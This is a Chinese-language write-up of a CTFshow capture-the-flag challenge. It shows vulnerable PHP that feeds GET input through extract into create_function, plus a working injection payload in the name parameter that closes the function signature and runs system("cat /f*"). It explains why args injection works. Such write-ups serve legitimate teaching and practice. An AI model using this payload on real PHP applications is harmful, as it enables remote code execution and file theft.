CTFshow
用户6420
添加快捷方式
分享
CTFshow-红包挑战8题目解析
输入“/”快速插入内容
CTFshow-红包挑战8题目解析
用户6420
用户6420
2023年8月13日修改
0x1 活动概述
🌰
开始时间:
2023年8月12日14时
结束时间:
2023年8月13日14时
攻克奖励:瓜分
222元现金
(每人奖励金额=222/做出来人数)
领奖方式:联系QQ 447685307
0x2 题目代码
代码块
PHP
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-08-08 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2023-08-08 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
extract($_GET);
create_function($name,base64_encode($value))();
0x3 题目解析
1 预期
payload
代码块
PHP
/?name=){system("cat /f*");}//&value=1
2 原理
create_function 本质上,是通过传入的参数,拼凑出一段类似于下面的
php
语句
代码块
PHP
function __lambda_func($args){
$code;
}
拼凑后,进行eval执行,所以既然可以在
code
处注入代码,当然也可以在
args
处注入代码。
网上大部分说,是
code
注入,其实
args
注入也是可以的,闭合括号并配对大括号即可。
代入上面的
payload
后,要执行的
php
代码变为
代码块
PHP
function __lambda_func(){system("cat /f*");}//){$code;}
成功注入了
php
代码
0x4 活动结果